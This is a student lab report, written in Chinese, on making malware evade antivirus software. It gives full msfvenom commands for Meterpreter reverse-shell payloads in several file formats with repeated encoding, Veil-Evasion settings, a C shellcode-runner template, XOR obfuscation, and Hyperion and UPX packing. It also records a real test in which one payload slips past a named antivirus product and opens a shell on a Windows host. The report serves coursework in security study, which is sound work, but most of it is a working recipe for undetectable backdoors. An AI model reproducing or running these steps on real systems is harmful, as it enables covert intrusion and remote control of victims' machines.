一、实验内容
1.1实践内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧正确使用msf编码器,使用msfvenom生成如jar之类的其他文件veil,加壳工具使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2实验问答
(1)杀软是如何检测出恶意代码的?
1.特征码、启发式、基于行为
2.文件校验和
3.云查杀
4.机器学习
(2)免杀是做什么?
即反杀毒技术。一般为对恶意软件进行处理,让其不被杀毒软件所检测到。
(3)免杀的基本方法有哪些?
1.修改特征码
2.修改校验和
3.花指令免杀
4.加壳免杀
5.内存免杀
二、实验过程
下面是实验中用到的一个提供免费的可疑文件分析服务的网站,可以用来查看文件的免杀程度
链接: Virus Total
以下使用的IP地址若无其他情况,使用的都是虚拟机的IP地址
2.1使用msf编码器,veil-evasion和利用shellcode编程
2.1.1msf编码器
(1)使用msf编码器进行多次编码
生成一个后门程序或者使用上一次实验的后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.223.128 LPORT=2421 -f exe > 20212421_backdoor.exe
//IP地址为虚拟机的
用Virus Total进行检测:
现在将这个程序进行多次编码(如1次、10次、21次、60次):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.223.128 LPORT=2421 -f exe > 20212421_backdoor_1.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.223.128 LPORT=2421 -f exe > 20212421_backdoor_10.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 21 -b '\x00' LHOST=192.168.223.128 LPORT=2421 -f exe > 20212421_backdoor_21.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 60 -b '\x00' LHOST=192.168.223.128 LPORT=2421 -f exe > 20212421_backdoor_60.exe
//IP地址为虚拟机的,-i后面为编码次数
编码后的检测结果:
1:1次
2:10次
3:21次
4:60次
可以看到多次编码后,免杀效果并不是很理想,基本没有变化。中途我试过更多次的编码,但达到一定数值后,就无法编码了,原因可能是程序的长短问题,无法支持太多次的编码。
(2)使用msfvenom生成如jar之类的其他文件
msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.223.128 LPORT=2421 x> jar_20212421.jar
//输出jar文件
msfvenom -p php/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.223.128 LPORT=2421 x> php_20212421.php
//输出php文件
msfvenom -p python/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.223.128 LPORT=2421 x> python_20212421.py
//输出python文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.223.128 LPORT=2421 x> apk_20212421.apk
//输出apk文件
//以上IP地址都是虚拟机的
对每个输出文件进行检测:
1:jar
2:php
3:python
4:apk
可以看出免杀效果:python>php>apk>jar
此外,我参考其他同学的,又使用了一种反向tcp_ssl的payload:
msfvenom -p python/meterpreter/reverse_tcp_ssl LHOST=192.168.223.128 LPORT=2421 -f raw > ssl_20212421.py
检测结果(比用python的payload还要好上一点):
2.1.2veil-evasion
下载veil并进行配置(这一步很难,但下载好后就没有太多问题了):
下载后输入以下命令:
veil
use evasion
use c/meterpreter/rev_tcp.py //选择payload,这里我还用了ruby/meterpreter/rev_tcp.py和python/meterpreter/rev_tcp.py两种payload
//如果不知道payload,可以先输入list查看支持的payload
set LHOST 192.168.223.128
set LPORT 2421
generate
20212421ojy_veil
检测结果如下:
1:c语言的
2:python语言的
3:ruby
2.1.3使用C + shellcode编程
使用msfvenom生成shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.223.128 LPORT=2421 -f c
msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.223.128 LPORT=2421 -f c
创建两个.c文件,将生成的两个数组和以下代码分别复制进两个.c文件中(vim进入的话不好复制,可以从文件管理中找到你创建的.c文件,用文本打开,复制粘贴进去)
#include <stdio.h>
#include <stdlib.h>
// 将 msfvenom 生成的 shellcode 粘贴到这里
unsigned char buf[] =
"生成的shellcode" ;
int main() {
void (*func)();
func = (void (*)()) buf;
(func)();
return 0;
}
使用i686-w64-mingw32-g++ 生成.exe文件
i686-w64-mingw32-g++ 20212421_c_shellcode.c -o 20212422_c_shellcode.exe
i686-w64-mingw32-g++ 20212421_c_shellcode2.c -o 20212422_c_shellcode2.exe
检测结果为:
1:20212421_c_shellcode.exe
2:20212421_c_shellcode2.exe
2.2通过组合应用各种技术实现恶意代码免杀
2.2.1 c+shellcode+xor(异或)
输入下面命令,获得shellcode,payload用windows/meterpreter/reverse_tcp,编码使用x86/shikata_ga_nai,x86/bloxor。
msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' -e x86/shikata_ga_nai LHOST=192.168.223.128 LPORT=2421 -f raw | msfvenom -a x86 --platform windows -b '\x00' -e x86/bloxor -f c
生成的shellcode不能立即使用,要先进行一次异或,可用一个c程序进行转换。
int main(){
FILE *fptr;
fptr = fopen("shellcode.txt","w");
for(int i=0;i<sizeof(buf)-1;i+){
buf[i]^0x01;
fprintf(fptr,"\\x%x",buf[i]);
}
if(fptr==NULL){
printf("Error!");
exit(1);
}
fclose(fptr);
return 0;
}
//主函数
转换后的shellcode数组:
创建一个.c文件,使用转换后的shellcode数组(新的.c文件中还会再进行一次异或从而恢复为原来的shellcode数组):
检测结果为:
2.2 C+shellcode+xor+加密壳
输入:
cp 20212421_xor.exe /usr/share/windows-resources/hyperion//将前面异或的程序复制到后面的目录下
cd /usr/share/windows-resources/hyperion//进入该目录
输入
wine hyperion.exe -v 20212421_xor.exe 20212421_xor_JM.exe//进行加密壳处理
检测结果:
2.3 C+shellcode+xor+压缩壳
在hyperion目录下输入:
upx 20212421_xor.exe -o 20212421_xor_press.exe//对异或程序进行压缩壳处理
检测结果:
2.4 C+shellcode+xor+加密壳+压缩壳
输入
upx 20212421_xor_JM.exe -o 20212421_xor_JM_press.exe
检测结果:
2.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功
电脑:win10主机
杀软:金山毒霸青春版
杀软版本:金山毒霸 15.2023.4.1
输入
.\ncat -lv 2421 >20212421_backdoor.exe//主机
nc 172.30.4.230 2421 < 20212421_py_veil3.exe//虚拟机,地址为主机地址;将之前生成的20212421_py_veil3.exe传到主机上
虚拟机进入msfconsole 控制台
输入
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.223.128
set LPORT 2421
exploit
点击运行主机上的20212421_backdoor.exe,即可获取主机的shell了
使用金山毒霸进行查杀,发现并没有识别到该程序
在使用金山毒霸之前,我还使用过电脑自带的防病毒程序、腾讯电脑管家、卡巴斯基等杀毒软件,发现每次将后门程序传过来时,没过多久,就会被杀软发现并查杀掉,可见这些软件的杀毒能力还是很强的。
三、问题及解决方案
3.1veil的下载
解决方案:将国外的更新源换为国内的,并将setup.sh文件里的克隆源换为gitee
Sudo git clone https://gitee.com/spears/VeilDependencies.git
详细见参考资料的前两个。
3.2Unable to create output file
解决方案:
sudo chown root:root -R /var/lib/veil/wine
四、实验感想
这次实验从内容还是困难程度上都是比较大的,尤其是对工具veil的下载,耗费的时间更是一个下午。但最主要的难点也是在veil的下载上,下载好后,其余的其实都差不多。最后一步实现后门程序的免杀还是有一点难度的。我试过好几种杀软,结果每次将后门程序传到主机上,过一会儿就会被杀掉,最后,参考了同学所用的杀软,才在金山毒霸上实验成功了。